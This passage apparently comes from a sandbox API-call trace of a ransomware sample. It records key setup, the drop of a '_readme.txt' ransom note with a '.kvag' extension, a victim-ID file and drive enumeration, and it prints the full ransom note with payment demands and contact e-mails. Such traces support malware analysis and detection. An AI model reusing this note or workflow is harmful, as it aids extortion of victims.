[0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F", lpString2="75" | out: lpString1="0E4A00B4D3D36F75") returned="0E4A00B4D3D36F75" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75", lpString2="DD" | out: lpString1="0E4A00B4D3D36F75DD") returned="0E4A00B4D3D36F75DD" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75DD", lpString2="E0" | out: lpString1="0E4A00B4D3D36F75DDE0") returned="0E4A00B4D3D36F75DDE0" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE0", lpString2="98" | out: lpString1="0E4A00B4D3D36F75DDE098") returned="0E4A00B4D3D36F75DDE098" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098", lpString2="B0" | out: lpString1="0E4A00B4D3D36F75DDE098B0") returned="0E4A00B4D3D36F75DDE098B0" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B0", lpString2="15" | out: lpString1="0E4A00B4D3D36F75DDE098B015") returned="0E4A00B4D3D36F75DDE098B015" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B015", lpString2="D0" | out: lpString1="0E4A00B4D3D36F75DDE098B015D0") returned="0E4A00B4D3D36F75DDE098B015D0" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B015D0", lpString2="B7" | out: lpString1="0E4A00B4D3D36F75DDE098B015D0B7") returned="0E4A00B4D3D36F75DDE098B015D0B7" [0051.396] GetLastError () returned 0x0 [0051.396] lstrcatA (in: lpString1="0E4A00B4D3D36F75DDE098B015D0B7", lpString2="A7" | out: lpString1="0E4A00B4D3D36F75DDE098B015D0B7A7") returned="0E4A00B4D3D36F75DDE098B015D0B7A7" [0051.396] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6007c88 | out: hHeap=0x3500000) returned 1 [0051.396] CryptDestroyHash (hHash=0x60833c8) returned 1 [0051.396] CryptReleaseContext (hProv=0x355aca8, dwFlags=0x0) returned 1 [0051.397] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60902c8 | out: hHeap=0x3500000) returned 1 [0051.397] lstrlenA (lpString="0E4A00B4D3D36F75DDE098B015D0B7A7") returned 32 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x3e0) returned 0x608f8e8 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x5ee) returned 0x608fcd0 [0051.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", cchWideChar=-1, lpMultiByteStr=0x608fcd0, cbMultiByte=1518, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", lpUsedDefaultChar=0x0) returned 495 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x5f0) returned 0x60902c8 [0051.397] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608fcd0 | out: hHeap=0x3500000) returned 1 [0051.397] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.397] lstrcpyA (in: lpString1=0x3554fa8, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n" [0051.397] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60902c8 | out: hHeap=0x3500000) returned 1 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089188 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x28) returned 0x6085d88 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608c770 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608c9d8 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608cc40 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608cea8 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608d110 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608d378 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608d5e0 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608d848 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608dab0 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608dd18 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x816) returned 0x608f8e8 [0051.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18dcd8, cbMultiByte=-1, lpWideCharStr=0x608f8e8, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0x6090108 [0051.397] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x28) returned 0x6085db8 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608df80 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608e1e8 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608e450 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608e6b8 [0051.397] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608e920 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608eb88 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608edf0 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608f058 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608f2c0 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x608f528 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xa0) returned 0x6078e08 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x130) returned 0x601fcd0 [0051.398] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6078e08 | out: hHeap=0x3500000) returned 1 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1d0) returned 0x6090930 [0051.398] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601fcd0 | out: hHeap=0x3500000) returned 1 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2b7) returned 0x6090b08 [0051.398] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6090930 | out: hHeap=0x3500000) returned 1 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x412) returned 0x608f8e8 [0051.398] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6090b08 | out: hHeap=0x3500000) returned 1 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x61a) returned 0x6090930 [0051.398] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x440) returned 0x608f8e8 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1072) returned 0x6090f58 [0051.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x608f8e8, cbMultiByte=-1, lpWideCharStr=0x6090f58, cchWideChar=2105 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned 1082 [0051.398] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1080) returned 0x6091fd8 [0051.399] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6090f58 | out: hHeap=0x3500000) returned 1 [0051.399] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x28) returned 0x6085de8 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6093078 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60932e0 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6093548 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60937b0 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6093a18 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6093c80 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6093ee8 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6094150 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60943b8 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6094620 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x80a) returned 0x608f8e8 [0051.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18dcd8, cbMultiByte=-1, lpWideCharStr=0x608f8e8, cchWideChar=1029 | out: lpWideCharStr=".kvag") returned 6 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0x6090f58 [0051.399] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x20) returned 0x606f040 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x6084460 [0051.399] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6006468 | out: hHeap=0x3500000) returned 1 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x50) returned 0x6027830 [0051.399] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x48) returned 0x6043c60 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084460 | out: hHeap=0x3500000) returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x60891f0 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089258 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6043c60 | out: hHeap=0x3500000) returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6025098 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x90) returned 0x35e92e8 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089258 | out: hHeap=0x3500000) returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x50) returned 0x6027888 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x50) returned 0x60278e0 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xd8) returned 0x35e5498 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x35e92e8 | out: hHeap=0x3500000) returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x60250e0 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x20) returned 0x606f1f8 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x50) returned 0x6097078 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x138) returned 0x608f8e8 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x35e5498 | out: hHeap=0x3500000) returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089258 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6025128 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x50) returned 0x60970d0 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x50) returned 0x6097128 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1c8) returned 0x6054038 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6025170 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601fe08 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f040 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027830 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60891f0 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6025098 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6027888 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60278e0 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60250e0 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x606f1f8 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6097078 | out: hHeap=0x3500000) returned 1 [0051.400] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089258 | out: hHeap=0x3500000) returned 1 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6025128 | out: hHeap=0x3500000) returned 1 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60970d0 | out: hHeap=0x3500000) returned 1 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6097128 | out: hHeap=0x3500000) returned 1 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6025170 | out: hHeap=0x3500000) returned 1 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6054038 | out: hHeap=0x3500000) returned 1 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x28) returned 0x6085e18 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6094888 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6094af0 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6094d58 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6094fc0 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6095228 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6095490 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x60956f8 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6095960 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6095bc8 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x25c) returned 0x6095e30 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xa0) returned 0x6078e08 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x130) returned 0x608f8e8 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6078e08 | out: hHeap=0x3500000) returned 1 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1d0) returned 0x608fa20 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608f8e8 | out: hHeap=0x3500000) returned 1 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x2b7) returned 0x608fbf8 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608fa20 | out: hHeap=0x3500000) returned 1 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x412) returned 0x6091770 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x608fbf8 | out: hHeap=0x3500000) returned 1 [0051.401] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x61a) returned 0x608f8e8 [0051.401] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6091770 | out: hHeap=0x3500000) returned 1 [0051.401] GetUserNameW (in: lpBuffer=0x18ded8, pcbBuffer=0x18dd4c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18dd4c) returned 1 [0051.795] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x590) returned 0x60a2bf0 [0051.795] GetLastError () returned 0x0 [0051.798] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18da40, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.798] GetLastError () returned 0x3 [0051.798] GetLastError () returned 0x3 [0051.798] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0051.799] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18da40, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684 [0051.799] GetFileType (hFile=0x684) returned 0x1 [0051.799] GetLastError () returned 0x0 [0051.805] CreateFileW (lpFileName="I:\\5d2860c89d774.jpg" (normalized: "i:\\5d2860c89d774.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.806] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.806] RegisterClassExW (param_1=0x18dcb8) returned 0xc140 [0051.806] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1901b8 [0051.806] NtdllDefWindowProc_W () returned 0x0 [0051.806] NtdllDefWindowProc_W () returned 0x1 [0051.808] NtdllDefWindowProc_W () returned 0x0 [0051.910] NtdllDefWindowProc_W () returned 0x0 [0051.911] ShowWindow (hWnd=0x1901b8, nCmdShow=0) returned 0 [0051.911] UpdateWindow (hWnd=0x1901b8) returned 1 [0051.911] GetLogicalDrives () returned 0x4 [0051.911] SetErrorMode (uMode=0x1) returned 0x0 [0051.911] PathFileExistsA (pszPath="C:\\") returned 1 [0051.911] SetErrorMode (uMode=0x0) returned 0x1 [0051.911] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0051.911] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x806) returned 0x60a7b68 [0051.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18dc70, cbMultiByte=-1, lpWideCharStr=0x60a7b68, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0051.911] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0x60a8378 [0051.911] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a7b68 | out: hHeap=0x3500000) returned 1 [0051.911] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x18) returned 0x60080e8 [0051.911] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a8378 | out: hHeap=0x3500000) returned 1 [0051.912] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60080e8 | out: hHeap=0x3500000) returned 1 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x18) returned 0x60080e8 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x10) returned 0x606e3d8 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x8ec) returned 0x60a7b68 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0x60a8460 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc915c90 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x1080) returned 0x60a8c78 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089600 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x810) returned 0x60a4280 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x660) returned 0x60a9d00 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc916518 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc916da0 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc917628 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc917eb0 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc918738 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0x60a4a98 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc918fc0 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x820) returned 0xc919848 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0x60a52e0 [0051.912] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, 